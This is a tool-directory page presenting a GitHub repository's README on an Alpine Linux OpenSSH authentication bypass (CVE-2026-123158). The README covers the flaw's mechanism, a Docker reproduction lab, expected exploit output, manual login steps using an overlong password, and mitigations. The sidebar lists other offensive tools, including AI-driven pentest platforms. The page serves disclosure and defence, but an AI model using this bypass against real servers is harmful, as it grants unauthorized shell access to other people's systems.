Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
alpine-openssh-sshole-auth-bypass — Vulnerability research, PoC reproduction lab, and technical analysis for Alpine Linux OpenSSH authentication bypass (CVE-2026-123158 / sshole) | Kitploit
工具/GitHubGitHub/akarkode/alpine-openssh-sshole-auth-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationPapers & ResearchLearning & EducationLabs & Practice
GitHubakarkode/alpine-openssh-sshole-auth-bypass

alpine-openssh-sshole-auth-bypass

Vulnerability research, PoC reproduction lab, and technical analysis for Alpine Linux OpenSSH authentication bypass (CVE-2026-123158 / sshole)

214天前尚未审核
查看仓库
分享
内容在请求的语言中不可用。显示英文版本。

Alpine Linux OpenSSH Password Authentication Bypass (CVE-2026-123158 / "sshole") Lab & Research

Cover

This repository contains the full vulnerability research report, laboratory reproduction scripts, and proof-of-concept environment for the Alpine Linux OpenSSH authentication bypass vulnerability (CVE-2026-123158, CVSS 3.1 8.1 High, dubbed "sshole") disclosed on November 5, 2026.

Research Summary

  • Vulnerability Identifier: CVE-2026-123158 (CVE.org Record)
  • CVSS v3.1 Score: 8.1 High (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-394)
  • Discovered Issue: Arbitrary password authentication bypass for accounts whose /etc/shadow password field is exactly *.
  • Affected Platform: Alpine Linux (all versions with default non-PAM OpenSSH $\le$ 9.9p2).
  • Vulnerable Component: openssh-server-9.9_p2-r0 running on musl libc without PAM.
  • Remediation: Fixed in Alpine openssh-server-9.9_p2-r1 and upstream OpenSSH 10.6p2.
  • Exploitation Vector: Any password of length 257 to 1024 bytes (e.g. A*300x).

Note on Input Boundary: While the CVE description cites 256–1024 characters, empirical testing in this lab demonstrates that musl libc hashes 256-byte inputs normally (key_len > KEY_MAX); only inputs of 257 to 1024 bytes return "*" to trigger the authentication bypass.

Vulnerability Mechanism & Flow

How SSHOLE Happens Flow Figure: Step-by-step mechanism of CVE-2026-123158 illustrating how input lengths, OpenSSH salt borrowing, and musl error returns align into an arbitrary authentication bypass.

The flaw results from the intersection of three components:

  1. musl libc KEY_MAX = 256: When calculating SHA-512 crypt ($6$), musl rejects keys longer than 256 bytes and returns the literal string "*".
  2. OpenSSH pick_salt() (CVE-2016-6210): For accounts without valid salts (like *), OpenSSH borrows a salt from another account on the system with a valid $5$ or $6$ hash.
  3. OpenSSH String Comparison: OpenSSH compares crypt(password, salt) directly with the shadow entry. Since musl returns "*", strcmp("*", "*") == 0 grants authenticated access.

Repository Contents

alpine-openssh-sshole-auth-bypass/
├── article.md            # Comprehensive security research report
├── README.md             # Project overview & quick reproduction guide
├── cover.png             # Cover illustration with CVE badge & hacker icon (PNG)
├── cover.svg             # Vector source for cover
├── assets/
│   ├── evidence.png      # Terminal reproduction screenshot evidence
│   └── flow.gif          # Clean animated walkthrough of the vulnerability flow
└── lab/
    ├── server.Dockerfile # Alpine 3.21 + vulnerable openssh-server
    ├── client.Dockerfile # Exploit testing client container
    ├── sshd.conf         # Research server OpenSSH configuration
    ├── entrypoint.sh     # Container provisioning (victim:*, donor:$6$)
    ├── exploit.sh        # Automated boundary PoC (256/257/300/1024 bytes)
    ├── run.sh            # End-to-end execution script
    └── verify.sh         # A/B verification script against fixed package

Quick Reproduction

Run the lab in an isolated local Docker container:

# Build and run the vulnerable server and exploit test
cd lab
./run.sh

Expected Output

==================================================================
 sshd: OpenSSH_9.9p2, OpenSSL 3.3.7 7 Apr 2026
 libc: /lib/ld-musl-x86_64.so.1
 PAM : 0 (0 = built without PAM)
 shadow entries:
   donor:$6$abcdefgh$OHEEfDgChDIS
   victim:*
==================================================================

--- boundary: '*' account, different password lengths ---
>>> 256 bytes (musl still hashes)              rejected  (ssh rc=255)
>>> 257 bytes (crypt() returns '*')            ACCEPTED  <-- uid=1001 user=victim
>>> 300 bytes                                  ACCEPTED  <-- uid=1001 user=victim
>>> 1024 bytes                                 ACCEPTED  <-- uid=1001 user=victim

--- controls ---
>>> victim + short wrong password              rejected  (ssh rc=255)
>>> donor + correct real password              ACCEPTED  <-- uid=1000 user=donor

Manual Interactive Login

ssh -p 2222 [email protected]
# Prompt 1: Type 300 'A' characters (A*300x) -> Permission denied (buffer clobbered)
# Prompt 2: Type 300 'A' characters (A*300x) -> Accepted! Shell access granted.

Reproduction Evidence

Manual Interactive Reproduction Evidence Terminal session verifying authentication bypass on [email protected] after submitting the 300-byte password string (A*300x), showing successful shell access as uid=1001(victim).

Verifying the Fix

cd lab
./verify.sh

Mitigation

  1. Upgrade OpenSSH:
    apk update && apk upgrade openssh-server openssh
    rc-service sshd restart
    
  2. Disable Password Authentication:
    echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/00-no-passwords.conf
    sshd -t && rc-service sshd restart
    
  3. Lock Accounts with ! instead of *:
    passwd -l <user>
    

References

  • NVD Record: https://nvd.nist.gov/vuln/detail/CVE-2026-123158
  • CVE.org Record: https://www.cve.org/CVERecord?id=CVE-2026-123158
  • Alpine Advisory: https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/
  • OpenSSH Release: https://www.openssh.com/txt/release-10.6p2
  • Fix Commit: https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482

Disclaimer

This research was conducted for educational purposes, security analysis, and authorized vulnerability assessment. The findings and proof-of-concept materials are intended to support responsible security research and help improve software security. Any testing should be performed only on systems for which explicit authorization has been granted. This publication does not encourage unauthorized access, exploitation, or any other unlawful activity.

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    371
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    336
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    322

探索所有工具

浏览我们的工具集合

查看所有工具 →